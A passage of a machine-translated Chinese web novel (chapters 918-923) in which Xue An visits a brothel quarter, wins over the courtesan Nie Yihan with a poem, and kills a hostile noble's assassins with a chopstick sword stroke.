    "Ok?"


    "Master, I will show you around the kiln today!"


    Chan''er looked at the opposite Bliss Square with a puzzled face, then scratched his head, "Master, what is a kiln? Why visit it?"


    Xue An laughed dumbly and tapped Chan''er''s head lightly, "Where there are so many questions, just go in with the young master!"


    "Oh!"


    After Chan''er followed Xue An into the Changlefang, her eyes gradually became round.


    Because on the beautifully shaped pavilion beside the road, many brightly dressed women are relying on the gallery. Yan Yan pointed at the laughter below.


    And when I saw Xue An and Chan''er.


    These women were all taken aback, and then they covered their mouths and laughed and started talking.


    "Really strange! Are there any people who bring their own maid to visit Changlefang?"


    "This young man looks pretty good very much to my liking, sisters and sisters, don''t grab me!"


    "Bah, I tore your mouth apart! Do you just like it when you close it?"


    These women began to laugh and curse, and sometimes winked at Xue An.


    These women are accustomed to doing this business, but those who can come to Changlefang usually are sour and rotten literati, or dignitaries.


    But these people are basically older.


    It is rare to see Changlefang at the age of Xue An.


    What''s more rare is that the surviving Yushu is in the breeze, and it makes these women very excited.


    But Chan''er finally understood what a kiln was at this time, and her embarrassed face was red to the root of her ears.


    "Young... Young Master, isn''t this the Fireworks Willow Lane? Why are we here?"


    Xue An smiled faintly upon hearing this, "Of course... come to find someone!"

 Chapter 918： Here, only Guan Fengyue!

    "Looking for someone?" Chan''er''s head was full of question marks.


    Who is the young master looking for in this land of smoke and willows?


    Xue An did not answer Chan''er''s question, but walked around.


    quickly.


    He found the person he was looking for.


    I saw a person walking from across the street.


    This person is about 30 years old, wearing a Chinese suit, but his face is wretched, his eyes are blue, and his eyes are always aimed at the pretty girls on the street.


    You can tell at a glance that this is a Fengyue veteran.


    Xue An smiled slightly and took a step forward, blocking the person''s path.


    "Xiongtai stay!"


    The man was taken aback, stopped, looked up and down Xue An a few times, and said strangely: "Dude, I don''t know you!"


    Xue An smiled, "Of course I don''t know each other!"


    "Then why did you stop me?" This old man saw that although Xue An''s clothes were not gorgeous, he was handsome and indifferent, so he didn''t dare to look down upon it.


    Especially when he saw Chan''er who was following Xue An, he was shocked, and there was an amazing light in his eyes.


    In his opinion, Xue An''s identity is absolutely extraordinary to have a pretty little maid like Chan''er.


    Could it be a child of a wealthy family who came to Beijing to play?


    This is thinking.


    Xue An said indifferently: "When I saw my old man, I knew that I was a veteran with a long history, and I didn''t understand a lot of things when I first entered this place, so I wanted to ask, in this Changle Square, there is a combination of color and art. Amazing girl?"


    Upon hearing this, his eyes lit up, and then he smiled and said, "Brother is asking the right person! I dare not say anything to Hu San, but I know which girl is pretty and which girl is clingy! "


    "But I don''t know what kind of man is looking for? How much money do you plan to spend?" Hu San stared at Xue An with bright eyes.


    Xue An smiled, "I don''t know what to look for. I just heard that Changlefang is famous in the world, so I want to come and see it. As for how much money I plan to spend..."


    "Just find the most expensive one!"


    Hu Sanyi was overjoyed when he heard it.


    really!


    I guessed it right, this is definitely a low-key giant.


    Otherwise, how dare you have such confidence?


    You know this Changlefang is a famous selling gold cave.


    Without a few hundred taels of silver, you don''t even want to meet those real top girls.


    And this one opened his mouth and said to find the most expensive, obviously a rich family.


    Although Hu San was happy in his heart, he did not change his expression on the surface.


    "It seems that my man is really a fellow man! If this is the case, then I will lead you to a place, but there is not only money, but also some ability to learn and...!"


    Speaking of this, Hu San took a look at Xue An, and then swallowed the words behind his appearance.


    No matter how picky people are, they can''t find faults with Xue An''s appearance.


    Xue An smiled upon hearing the words, "If this is the case, then trouble Xiongtai!"


    "It''s easy to talk!" Hu San was full of joy.


    If I can introduce a high-profile guest to the brothel, the reward will not be a small amount.


    He was naturally very happy.


    And when Hu San leads the way.


    Chan''er got together with his gains and losses.


    "Master, we...we now have more than two ounces of silver! We still have to save it for eating and lodging. You... if you use it now, what can we do?"


    Xue An wiped out the Chen family that day, and took a silver coin as the restaurant''s food.


    Although the shopkeeper Yang cried and shouted and returned the money.


    But on the way to the capital, Xue An almost spent the money.


    So now the master and servant have a total of more than two taels of silver.


    Chan''er was naturally very sad.


    What''s more, listening to Xue An''s meaning seems to be looking for the top girl.


    Let''s not talk about where the money comes from.


    If the young master is really looking for it.


    What should I do?


    Chan''er''s heart was full of sour and unspeakable taste.


    Xue An naturally saw it, so he tapped her on the head with a chuckle.


    "Well, your master, I am naturally measured, don''t talk too much!"


    "Oh!" Chan''er lowered her head and dared not speak any more.


    This Hu San was very familiar with Changlefang, and after leading Xue An through a few streets, he came to an elegant courtyard.


    Standing on the street, you can see the wooden buildings that stand in the courtyard.


    Nothing else.


    This style is far better than those brothels built on the street.


    Hu Sanchong Xue An squeezed his eyes and said with a grin: "Brother Xue, this is the location of Lan Kwai Fong that I just told you just now. Tsk, it''s really time for you to come. Today happened to be the listing of everyone Nie from Lan Kwai Fong. Days!"


    Xue An raised his head to look at this Lan Kwai Fong, and smiled faintly, "So, I''m lucky!"


    "That''s natural, Brother Xue, please come with me!"


    Hu San excitedly led Xue An into this Lan Kwai Fong.


    It is already time to palm the lantern.


    But this small courtyard is dotted with countless slender lanterns, which do not appear dim at all.


    At the same time, the flowers and plants in this courtyard are already in full bloom, and the lanterns are reflected, and during the walk, it is as beautiful as a picture scroll.


    In those small buildings, there were chattering and laughing from time to time.


    Xue An understands that this is because a girl is waiting for guests.


    The small building in the middle of Lan Kwai Fong is brightly lit at the moment.


    And in the open space outside the door, there are many messy guards.


    It looks like they are all people from various houses.


    Hu San took a breath.


    "Chang family, Yuan family, and several palaces, why are so many big people here today?"


    With that said, he turned his head and wanted to say to Xue An.


    If you don''t want to go today or else, there are so many Wang Sun Guizhou here, you probably won''t see everyone Nie even if you go in.


    Unexpectedly, Xue An had already raised his head and stepped into the small building.


    Hu San was startled, then sighed secretly, and hurriedly followed up with his scalp.


    Anyway, since you are here, go in.


    Right to watch the excitement.


    The lobby of this small building is brightly lit, and many people have already been sitting here.


    All of these people are dressed in splendid clothes, and they are obviously not ordinary people.


    And when Xue An walked in.


    These people all looked back.


    But after Hu San also followed in.


    Many people turned their heads in disdain.


    Others laughed and cursed: "Hu San, you pickled smelt, dare to come here? Do you think everyone Nie will summon you?"


    Hu San smiled all over his face, "How dare you, just come over with your friends to watch the fun!"


    "Yo This little maid is pretty good!"


    When Chan''er walked in with a pleasing eyebrow, someone couldn''t help making a joke.


    Hearing this, Chan''er''s head couldn''t help being buried lower, and her face turned red and purple.


    Xue An looked up.


    The speaker was a man with an evil face in black clothes with gold piping.


    Hu San showed bitterness and whispered: "Don''t talk, this is the eldest son of the Chang family, we can''t afford it!"


    Xue An gave a noncommittal smile, then found a place to sit down.


    But the Chang family son didn''t intend to let Xue An mean, and his eyes fixed on Chan''er who was standing behind Xue An.


    After a while, he stood up boldly, came straight to Xue An, and raised his hand to Chan''er.


    "I want this little maid, let''s say a price!"

 Chapter 919： This... is the price I paid

    There was a slight commotion in the audience.


    Many people watched with playful eyes.


    Some Princes and Suns even whispered with a smile on their faces.


    "Brother Chang loves this fresh and tender bite!"


    "Tsk tusk, this new man is going to be unlucky now!"


    In these discussions.


    Xue An took a sip of tea, then raised his eyes and glanced at the speaker, "Go away!"


    boom!


    There was an uproar in the audience.


    The Chang family''s face even darkened, "Boy, do you know who you are talking to?"


    Xue An put down the tea cup in his spare time, "I don''t know, and I''m not interested in knowing, but believe it or not, if you dare to talk nonsense, I will let you know what regret is!"


    This is a hornet''s nest.


    Many people looked at Xue An with surprised eyes.


    Some people shook their heads secretly.


    I think this newcomer is too arrogant and doesn''t understand what it will be like to offend the Chang family in Tiansheng Kyoto.


    It is estimated that he will not even survive tonight.


    The Chang family''s face was pale, "Very well, no one has dared to speak to me like this for a long time! You are the first!"


    Xue An smiled, "Don''t worry, there will be more and more in the future, and you will gradually get used to it!"


    The Chang family was furious and wanted to have an attack.


    Hu San, who was already trembling with fright, said hurriedly: "Chang... the son of Chang is calmed down. My friend has just come from a foreign city and doesn''t know the rules of Kyoto. I hope you adults will let him go without thinking about the villain. !"


    The Chang family snorted, and said gloomily: "Let him go? That''s fine, now give me this little maid, and then kneel down and beg for mercy, and I will let him go! Otherwise... hum! "


    Hu San was embarrassed.


    Xue An looked at this Hu San in surprise.


    He really didn''t expect that Hu San would dare to intercede for himself.


    You know they realize that it''s only half an hour now.


    It stands to reason that this kind of thing can be ignored by Hu San.


    Unexpectedly, he dared to speak for himself.


    Based on this, Hu San''s quality is not too bad.


    But at this moment.


    A well-dressed old man came over and said, "Master Chang, Hu San, no matter what great grudges you have, don''t have any grievances here. Moreover, everyone Nie will be listed soon. If you run into a girl, who will make up for it? ?"


    The Chang family snorted when he heard the words, glanced at Xue An coldly, and then turned back to his seat.


    It was just from the cold light that appeared from time to time in his eyes that this young master of the Chang family had obviously been murderous.


    Hu San whispered to Xue An with a little sadness: "Brother Xue, listen to my persuasion, and leave here now. If it''s late, you won''t be able to leave!"


    "This Chang family is very powerful in Kyoto, especially in Changlefang and Dongshi. They say one thing is the same, and you offend Chang Haosi, the eldest son of the Chang family. This person is the most difficult to deal with! A good guy doesn''t suffer from immediate losses. It''s better to leave as soon as possible!"


    Xue An was not moved at all, just smiled, "Thank you Brother Hu for missing me, but I have a temper. If you want to do something, you must do it, otherwise the sky will fall, and I will not go!"


    "You...oh!" Hu San sighed and stopped persuading.


    At this moment.


    Just listen to the sound of footsteps on the stairs, and then a woman shouted: "Miss Nie is listed, please take a look, everyone!"


    Talk about it.


    The handmaid pulled a red cloth.


    I saw a scroll slowly falling down on the stairs, showing the words written on it.


    Everyone in the hall gathered around, and after a few glances, they started talking.


    "Sure enough! The price is fifty taels for one minute talk, and eighty for one piece of drum and piano! Tsk tsk, still don''t have the fascinating entrance to the scene!"


    "Oh, money is the second best thing. The key is that Ms. Nie must be eye-catching, otherwise you will just show a thousand taels of gold, and no one will look at you directly."


    At this time, Chang Haosi took the lead and said: "I have a hundred taels of silver, and I wish I could meet Miss Nie!"


    The maid turned and left, but after a while, the maid hurried back and shook her head.


    "Master Chang, my girl said that she had already talked to the master last time, and felt that the Dao is different and inconsistent, so this time I won''t talk about it!"


    "What?" Chang Haosi was taken aback.


    What does it mean?


    What does it mean to be different from each other?


    You know, since Chang Haosi spent a lot of money to meet this Nie family last month, he has been dreaming about him.


    This time I heard that everyone Nie was listed again, and he rushed over early, wanting to see Fangrong again.


    But it was rejected?


    But no matter how annoyed Chang Haosi was, he had no choice but to look at it at a loss.


    Immediately afterwards, a few more kings and grandsons wanted to meet, but they were all refused.


    Seeing that the cards that everyone Nie hung up today will no one be able to remove.


    Xue An slowly stood up and said lightly: "I have revealed this card today!"


    Everyone in the hall turned their eyes to Xue An.


    Chang Haosi''s face sank and he gave a cold snort.


    The maid said, "Dare to ask the prince''s name? What price do you plan to pay?"


    Xue An smiled slightly. "My name is Xue An, as for what price...!"


    "Can there be paper and pen here?"


    Everyone was taken aback.


    What do you mean?


    What do you want paper and pen for?


    But this Lan Kwai Fong is a first-class brothel, and literati often come here to drink and have fun, so paper and pen are naturally not lacking.


    quickly.


    Someone sent a pen and inkstone.


    Xue An held the pen in his hand, he used the pen, and quickly wrote a piece of paper, then threw the pen away, and said lightly: "Give this to your lady and tell her that this... is the price I paid! "


    This maid was also taken aback.


    But I dare not ask more.


    Took the paper and hurried away.


    There was silence in the hall.


    Then came the joking sound.


    "Tsk tusk, isn''t this guy thinking of impressing everyone with poetry?"


    "It''s really a raw melon egg from a different place. Didn''t he know that everyone Nie is a famous poetry master in Kyoto? He dare to fight in front of her?"


    "Hey There is a lot of fun here!"


    In these comments, Chang Haosi also narrowed his eyes slightly, with a look of disdain.


    In his opinion, this Xue An is simply humiliating himself.


    Because in Kyoto, it has been a long time since no one dared to chant poems and lyrics in front of everyone.


    Even Hu San couldn''t help but shook his head secretly, feeling that he had lost.


    I thought that Xue An was a wealthy young man, leading him to get a bounty.


    In the end, I didn''t expect to be a poor scholar who didn''t know the sky and earth.


    But just when everyone thought Xue An was wishful thinking.


    Just listen to the sound of the stairs, and then there is a great beauty Lianbu lightly moved down the stairs, and said anxiously: "Where is the writer?"

 Chapter 920： Sitting in peace, what you see is not human

    moment.


    Everyone turned their heads and looked towards Xue An who was standing there.


    And everyone Nie also noticed Xue An, whose long body Yuli looked indifferent.


    At this time, the maid said: "Miss, this son is the writer."


    Everyone Nie took a deep breath, suppressed the excitement in their hearts, and ran away at Xue An.


    "I have seen the son!"


    Xue An''s expression changed slightly, his eyes seemed to be disappointed, but he quickly returned to normal, and then he nodded with a smile.


    "Girl Nie is polite!"


    At this moment, everyone Nie''s heart is full of shock and... surprise.


    As the absolute top card of Dan Kwai Fong, she enjoys the highest freedom and rights.


    For example, this monthly listing is her privilege.


    And what she does is to find the person she likes in this way.


    The disappointment over and over again has made her very numb.


    The same is true for this listing conference, she had no hope anymore.


    Unexpectedly, the handmaid suddenly sent a piece of paper.


    When ���� started, everyone Nie didn''t take it seriously.


    is nothing more than writing some sour poems to please myself.


    She was a little numb after seeing these.


    What she never expected was that when she unfolded it, her whole person was instantly struck by lightning, and she sat there.


    Because it is very simple, there are only two short lines of words, but it is like a sharp blade that pierces her heart.


    How much hate, in my dream last night, it was like visiting Shangyuan in the old days, with cars like running water and horses like dragons, and the flowers and the moon were in the spring breeze.


    is such a very short order, but it shocks everyone Nie who is used to writing poems and seeing them.


    has no gorgeous decorations, and even the number of words is very small.


    was full of melancholy.


    How can this not shock her.


    Then she couldn''t wait to ask: "Who is the writer?"


    This maid just hesitated.


    The normally peaceful and dignified Nie family couldn''t help but rushed downstairs to see who could write such a wonderful poem.


    Wait for the first glance after seeing Xue An.


    She was even more shocked.


    Because Xue An is impeccable regardless of her appearance or her tolerance.


    When he stood there quietly, he was only described by the words Mo Shangren Ruyu, Young Master Shi Wushuang.


    Everyone Nie, who had been hopeless, trembled, and the deer bumped into each other.


    "Master, please come upstairs with me!"


    Xue An thought for a moment, then nodded, "Alright!"


    Everyone in Nie was happy in their hearts, and there was a touch of joy on their faces, and then they accompany each other naturally, climbing up the stairs, and upstairs.


    The figures of the two of them have disappeared behind the bead curtain on the second floor.


    Everyone in the whole hall looked at each other, and then they all exclaimed.


    "I''m not mistaken, did Nie Dajia go downstairs to welcome a guest?"


    "I remember the last time it was His Royal Highness Today, I didn''t have this treatment!"


    "Hey, I really don''t know what this new boy wrote? It can make everyone Nie so calm and excited."


    These discussions keep coming and going.


    Chang Haosi''s complexion was pale, and he unconsciously squeezed the corner of the table in his hand, and he squeezed a deep fingerprint on the corner made of iron wood.


    He spoke rudely to me at first, and then dared to "rob" the woman I was fond of. I must kill you!


    Chang Haosi''s heart screamed frantically.


    and on the other side.


    Hu San stared blankly, only two big characters circled in his mind.


    Cattle*!


    What is a cow*? This is called a cow*!


    did not spend a copper plate, just hand-written a piece of paper, and as a result, the famous Nie of Kyoto came down to greet him.


    How high-spirited is this?


    Hu San was marveling.


    �er was already awake from surprise, and then asked: "I...what did my young master do with this woman?"


    The voice is full of anxiety.


    This Hu San glanced at Chan''er, then smiled and said, "Alright, don''t worry, your young master is okay, he is just lucky to be favored by everyone Nie, now he is drinking tea and talking, don''t think too much! "


    "Really?" Chan''er didn''t believe it.


    Hu San nodded, "Of course it''s true! Don''t you think everyone Nie is a vulgar fan who can spend money to play around? They are all clean people up to now, just to wait for the right people to appear. , Now it��s just chatting, you don��t need to do much..."


    The words are not finished yet.


    I saw that maid walked to the top of the stairs and put a white towel on the sign on the second floor.


    See this scene.


    The whole audience was silent.


    Hu San almost stared out.


    "How... how is it possible?"


    "What''s wrong?" Chan''er asked with a trembling voice.


    At this time, there were discussions in the hall.


    "Fuck, I''m not mistaken! Did Nie Dajia decide to leave the cabinet?"


    "This is to call the young man just now to be the guest of the curtain!"


    "Oh my god, is there any reason? Nie Dajia is going to be out of the cabinet!"


    sighs, surprises, mixed together.


    But Chang Haosi was furious, and slapped the table in front of him with a palm, then got up and left with a murderous face.


    �er naturally heard these discussions and understood what was going on.


    could not help but feel sad.


    "Master...Master, this is to..."


    There was a hint of crying in the voice.


    just when there was a lot of noise outside.


    Xue An is sitting leisurely in the room on the second floor.


    Opposite him is the peach-faced family Nie.


    Everything is like a friend meeting for the first time, without the slightest ambiguity.


    At this time, everyone Nie raised their eyes secretly and looked at Xue An who was drinking tea with his head down, and his heart trembled even more.


    Is it so good to drink tea?


    But why hasn''t he spoken until now?


    After other people come in and see yourself, who is not trying to say a few more words to yourself?


    Why does he keep drinking tea with his head down?


    Could it be because of your young age that you can��t let go?


    Hmm, it must be so!


    Everyone thought to Nie, and said with a smile: "I don''t know the name of the son yet!"


    "Xue An!"


    "Xue Gongzi, this little Ling Zhennai is a rare masterpiece in recent years. It can be seen that Xue Gongzi''s literary talent is brilliant and admirable!"


    Xue An smiled slightly, and then there was another silence.


    Until this time when everyone Nie was already a little uncontrollable. UU reading


    Xue Ancai said lightly: "The tea is good!"


    Everyone was taken aback.


    What kind of words are this?


    Then Xue An stood up and said lightly: "Miss Nie, goodbye!"


    After that, I took a step and left.


    Everyone Nie is completely stupid.


    What does this mean?


    "Xue Gongzi, what do you mean, but did I run into the boy because of my imperfect speech?" Everyone Nie said, resisting the grievance in his heart.


    Xue An smiled slightly, turned his head and shook his head at everyone Nie, "No, it''s just that everyone Nie is not the person I was looking for, that''s all!"

 Chapter 921： Late night wonton stall

    "Looking for someone? Who do you look for?"


    "An old person!"


    "Old man..." Nie Yihan whispered softly.


    At this time, Xue An turned around and was about to leave.


    Nie Yihan trembled, waking up like a dream, and hurriedly shouted: "Master, please stay!"


    "What else?" Xue An said lightly without turning his head back.


    Nie Yihan took a deep breath and calmly said: "My son, have you ever had a verbal conflict with someone in that hall just now?"


    Xue An was startled slightly, "What do you say about the Chang family?"


    Nie Yihan nodded solemnly, "Yes! Son, you are an outsider, naturally you don��t know the influence of the Chang family around here! It can be said that this Chang family is a famous local snake, and you offend you It is Chang Haosi, the eldest son of the Chang family. This kind of domineering nature is by no means kind. If you leave like this, it may be difficult to spend tonight safely."


    Nie Yihan, as the top brand of Lan Kwai Fong, naturally knows this mixed blessing of Paradise.


    She knows how unreasonable these occupier families are.


    Therefore, after hearing the maid��s report, she was stunned at the time, and she felt that Xue An was so fierce.


    After hearing Nie Yihan''s words, Xue An''s mouth was filled with a smile, "Oh? It sounds like it''s amazing!"


    Seeing Xue Anman''s carelessness, Nie Yihan stomped his feet, "My son, I didn''t laugh at you! This thing is really no small thing!"


    "Thank you Ms. Nie for reminding me, but I have a problem. The more dangerous, the more I want to touch it!"


    "You..." Nie Yihan was angry about it, and then sighed, "I don''t know what the son is relying on, but you are only learning like this. If you are hurt by a group of city hooligans, wouldn''t it be a big loss?"


    "What do you mean by girl?"


    "My son, for the sake of this plan, you''d better not leave Dan Kwai Fang! Because only here, Chang Haosi dare not mess around! And the son is looking for someone? You can tell me all the features of the other person, I want to find a way to help you!"


    While talking, Nie Yihan''s cheeks were slightly red, and she slowly lowered her head.


    Because Xue An has been looking at her with a smile.


    This made Nie Yihan''s heart beat like a drum, and the deer bumped randomly.


    If I say this, will my son think that I am a frivolous woman?


    But if I didn��t say it, wouldn��t it hurt him?


    Nie Yihan was confused and was thinking about it.


    Xue An shook his head and chuckled, "Thank you Ms. Nie for your kindness, but I don''t know what the person I''m looking for looks like now!"


    "Does that have a name?"


    Xue An shook his head, "Let''s put it this way, I don''t know what her name is, what she looks like, or even if it is a male or female!"


    Nie Yihan''s eyes rounded in surprise.


    How can anyone find someone like this in the world?


    I don��t even know what the other party looks like, whether it��s a man or a woman.


    seemed to feel Nie Yihan''s surprise, Xue An smiled slightly, "But as long as she appears in front of me, I will know if it is her!"


    Then Xue An��s sight seemed to penetrate the wall, and looked into the depths of the void, ��I can feel that she is in this place! I hope she is safe, otherwise a guy will be completely crazy. The consequences of time... even I can''t stop it!"


    Nie Yihan was confused when he heard, just about to say something.


    Xue An arched his hand slightly, "I understand Miss Nie''s kindness, goodbye!"


    After that, Xue An walked out of the room with his head high, and went downstairs.


    Nie Yihan looked at Xue An''s back blankly, with mixed feelings in his heart, not knowing what it was like.


    She suddenly felt that this young man was carrying a lot of things on his back, even his back was so lonely.


    It is a kind of independence after vicissitudes of life, and it contains countless secrets.


    This strong feeling made Nie Yihan feel extremely curious.


    What has he experienced?


    at the same time.


    Xue An walked down the stairs.


    At this time, the people in the hall had already dispersed, only Hu San and Chan''er were still there.


    After seeing Xue An come down.


    Hu San''s expression suddenly became very exciting.


    "Ahem, isn''t the young man''s firepower too fierce! How could he get off so soon?" Hu San mumbled, thinking that Xue An couldn''t hear it.


    But Xue An glanced at him coldly, and asked him to swallow all the words behind.


    "Master, you...what are you doing on it?" Chan''er asked sadly.


    Xue An said lightly: "Drink a cup of tea and chat for a while!"


    "That''s it?" Chan''er was a little confused.


    Xue An raised his hand and knocked her little head, "Otherwise, what do you want?"


    Chan''er was holding her head in pain, but her expression turned anger into joy, and she smiled: "I thought the young master had to have dinner!"


    Xue An laughed blankly, "Go!"


    "Master, what are you going to do?"


    "Naturally go to dinner!"


    �er nodded happily, "Hmm!"


    Then Xue An looked at Hu San who was standing aside.


    "Brother Hu, please join me too!"


    Hu San was taken aback, and then looked at Xue An in astonishment, "Where are you going to have dinner?"


    "Of course I went outside!"


    "But... didn''t everyone Nie tell you? Just now Chang Haosi left with an anger. With his character, he would never let you go! You are still safe in this Dan Kwai Fang. Once you leave, you can I can��t even see the sun tomorrow!


    Hu San said emotionally.


    Xue An seemed to have not heard it, and smiled at the Chan''er on the side: "Chan''er, I remember there was a wonton stall by the road when we came, let''s go eat wonton!"


    "Good master!"


    Then Xue An led Chan''er out.


    Hu San stared blankly.


    After a while, his face showed struggling hesitation, and finally he stomped his feet bitterly, and quickly followed.


    "I am also a little hungry, a bowl of wontons should be good!"


    Xue An glanced at him and said lightly: "Aren''t you afraid?"


    "I''m afraid, but I should sacrifice my life to accompany the gentleman! And... the wonton at the wonton stall really tastes good!"


    Xue An laughed loudly, "Okay, then go and taste how good what you said is good!"


    It��s almost late at the momentThe entire Bliss Square, all the brothels and Chu Halls are singing and dancing.


    There are already few pedestrians on the street.


    Although spring is over halfway, the sky is still cold in the middle of the night.


    At such a moment, a steaming wonton stall on the side of the road is very precious.


    The stall owner is an old man with a tired waist, but Hu San is very familiar with him.


    "Old Luo Guo, three bowls of wonton!"


    The stall owner raised his head hard to look at Hu San, then he laughed and said, "Your kid hasn''t come in some time, is it still the same?"


    "Yes, double the sauce!"


    At this time, the stall owner spotted the two Xue An, and nodded with a smile, "Guests, please sit down! Just wait a while!"

 Chapter 922： 1 sword, move the capital!

    Wontons are delicious, with moderate hot and sour soup.


    On this cold and watery spring night, eating such a bowl of wontons will really make people iron out from the heart.


    Hu San snorted while eating wontons while chattering endlessly to introduce the girls from Bliss.


    "In this Bliss Fang, it is said that there are four great oirans! The Dan Kwai Fang Nie that we see today is one of them, in addition to the Huafanlou, Nephrite Pavilion and other big brothels, Those are all top-notch beauty!"


    "It''s a pity that I have seen everyone Nie once, and the others have never been able to see! Tsk tsk, if I were lucky enough to see all of them, it would be really dead and no regrets!"


    Listening to Hu San''s words, Xue An didn''t say a word, still eating wontons slowly.


    Chan''er was really uncomfortable with this Hu San, feeling that he was deliberately teaching the young master, so he gave him a vicious look.


    "Bah! Erotic!"


    "Hey, little girl, how can you talk like that? You have to know about food and color. As a man, it is a matter of course to like beauty. Is there anything wrong with this?" Hu San began to "struggle with reason." ".


    "Huh, I won''t talk to bad guys!"


    "Do I look like a bad person?"


    "Isn''t it?"


    "looks like?"


    "..."


    Just as the two of them were in a constant dispute.


    The surrounding suddenly became quiet.


    Although there were few pedestrians on the street before, there were still people who came late or left early.


    But suddenly.


    The whole street became empty.


    Even the chattering and laughter from the nearby brothel disappeared.


    The whole world is in silence.


    Hu San''s expression changed drastically by this deadly stillness with a strong ominous meaning.


    "Brother Xue, this..."


    Xue An seemed to be unaware, still immersed in eating wontons, but said indifferently: "Don''t talk, keep eating!"


    Hu San hesitated, but in the end he lowered his head shaking and continued to eat.


    After eating a bowl of wontons, Xue An wiped his mouth with satisfaction, then raised his head to look into the darkness in the distance, and a cold smile gradually appeared at the corners of his mouth.


    "Since it''s here, come out."


    Following Xue An''s voice.


    In the darkness that the light can''t illuminate, figures began to emerge gradually.


    One, two.......


    quickly.


    In all directions of the wonton stall, hundreds of men in black appeared with grim expressions.


    These people surrounded the wonton stalls, and the atmosphere suddenly stagnated to the extreme.


    The stall owner was already scared and hid under the table.


    Hu San was also pale, his hands trembling, and he couldn''t hold his chopsticks firmly.


    Only Xue An''s face was as usual. After looking around the group of visitors, he sighed slightly, "The overbearing Chang family, who sent so many people for a little thing, want to chop me into meat sauce?"


    "You''re right!" A voice full of joking and cruelty came over, and then the crowd parted a road in silence, and Chang Haosi slowly walked in.


    "To be honest, I didn''t expect to be able to solve you tonight, because if you don��t come out in Dan Kwai Fong, I can��t do anything to you! But it seems that even God is helping me, so you dare to run. Come eat wontons outside! Do you really think I dare not kill you?" Chang Haosi had a triumphant expression on his face.


    Xue listened quietly, while his fingers tapped the table top unconsciously.


    Suddenly, he turned his head and looked at Hu San who was pale, "You are right, the wontons here are really delicious, so I decided to have another bowl!"


    Hu San almost cried.


    When is this?


    Still thinking about eating?


    And Chang Haosi held his shoulders all the time, so he could look at it in time.


    In his opinion, this Xue An is nothing more than delaying time.


    And he also enjoyed the feeling of teasing dying prey.


    This gave him a morbid excitement, as if holding the lives of others in his own hands.


    At this time, Xue An looked seriously at the trembling old Luo Guo under the table and said: "Thank you for a moment, please cook me another bowl of wontons, and remember to put less pepper!"


    The old Luo Guo was already shaken into a ball, and he couldn''t even speak.


    As a person who has set up a stall on Elysium Street for decades, he naturally knows how overbearing the Chang family is.


    Even tonight I might not escape death.


    Where is the mood to cook some wontons.


    At this time, Chang Haosi grinned, "Boy, I advise you not to struggle anymore. No matter how procrastinated to delay time, you will not be able to change your destiny! Rest assured, I will take care of you and promise to let you live a life. The most memorable night in China! Oh, yes, and you little maid, when you leave, I will take good care of her. After all, these brothers under my hand have not been open for a long time!"


    Speaking of this, Chang Haosi burst out laughing.


    The laughter was full of arrogance and pride.


    "It sounds very skilled, it seems that you must have done this kind of thing!" Xue An''s indifferent voice penetrated through the laughter, and passed into everyone''s ears.


    Chang Haosi was taken aback for a moment, and then said grimly: "So what?"


    Xue An sighed, "Actually, I just want to eat a bowl of wonton, but since you are looking for death, you can''t blame me!"


    what?


    Chang Haosi almost thought he had heard it wrong.


    Surrounded by so many people, still dare to say that you are looking for death?


    Could this boy''s brain be broken?


    At this time, Xue An said lightly: "Let''s go together, while it''s not too late, I will eat delicious wontons after killing me!"


    "Kill him!" Chang Haosi waved his hand with a gloomy expression.


    The men behind him bypassed his figure and swarmed up, preparing to divide Xue An into chaos.


    At this moment.


    A drop of rain just fell.


    The first spring rain of this year has arrived.


    In a blink of an eye, the spring rain was like a curtain, covering the whole city of Tiansheng.


    But at this moment, no one is going to appreciate the rainy night scenery. These assassins from the Chang family rush to the front, each with their swords, and they want to start.


    It was when a triumphant smile appeared on Chang Haosi''s face watching the battle from behind.


    Xue An picked up a bamboo chopsticks and sighed slightly, "It''s raining, it''s really disappointing!"


    After all, Xue Anxin waved his hand.


    The bamboo chopsticks swept across, and a sword light that was as bright as the scorching sun opened the rain and cut everyone straight.


    The figures of these black-clothed killers instantly solidified.


    at the same time.


    In the distant horizon, there was a faint spring thunder running over.


    There was a voice, and the bodies of these assassins broke from their waists.


    Blood spurted all over the place, mixed with rainwater snaking, and the rich smell of blood spread in all directions.


    Then, on this long street, only Chang Haosi stood there in a daze.


    Xue looked at him quietly, "I said, this is your own death, you can''t blame anyone else!"


    "No..." Chang Haosi was shocked and wanted to shout.


    But everything is too late.


    Xue An casually waved The bamboo chopsticks in his hand turned into a brilliant sword light that people dare not look at directly, passing through Chang Haosi��s throat, and then flying it out. Nailed to a brick wall not far away.


    Chang Haosi twitched a few times, and finally opened his eyes wide and died unwillingly.


    Xue An smiled at the dumbfounded Hu San, "This rain is so boring, it prevents me from eating!"


    With that, Xue An cut across the sky with his hand as a sword.


    A series of trained sword lights flew straight to the sky, directly smashing the dense cloud.


    The rain gradually stopped.


    Xue An lowered his head and smiled at Lao Luo Guo, "Okay, please cook me a bowl of wontons!"


    No one dared to speak.


    Even the entire Kyoto was shocked by the power of this sword.


    This is, a sword... moving the capital!

 Chapter 923： The stars are like a diamond, the moon is like a hook

    Dan Kwai Fong.


    Nie Yihan was sitting in the room.


    Suddenly the voice of awe from the maids came from outside the door.


    "Sister Mei!"


    "I have seen Sister Mei!"


    Then a female voice said: "Well, can your young lady be here?"


    "Miss is in the house!"


    While talking, the door of the room was pushed open, and a plump woman of nearly forty years walked in.


    Nie Yihan, who was in a daze, stood up hurriedly when he saw this woman.


    "Sister!"


    The woman sank her face and nodded, "Sit down!"


    Nie Yihan was startled slightly, then lowered his head and sat down silently.


    can be called the elder sister by Dan Kwai Fong''s top brand. This woman is the big backstage shopkeeper of Dan Kwai Fong, Mei Xia.


    It��s just that Meixia doesn��t come to Dan Kwai Fong very often on weekdays, so it��s less known to outsiders.


    Anyone who knows well knows how powerful this woman is.


    On the light of friendship and the toughness of the wrist, this Mei Xia is not much better than many men.


    This is also the reason why Dan Kwai Fang can stand tall in the mixed bliss of Bliss, and even makes the Chang family afraid of three points.


    I didn''t expect that she would be here today, and Nie Yihan had a hunch in her heart.


    As expected.


    After sitting down, Mei Xia asked straightforwardly in his first sentence.


    "I heard that when Yihan was listed today, not only did you go downstairs to welcome a young man, you even hung up a white scarf, willing to invite him to be the guest of the curtain, can you do that?"


    The voice is indifferent, but it contains the majesty of not anger.


    Nie Yihan trembled all over, and then whispered: "Yes!"


    There was a long silence.


    Then Meixia stretched out her hand, "Take it out!"


    "What?" Nie Yihan looked blank.


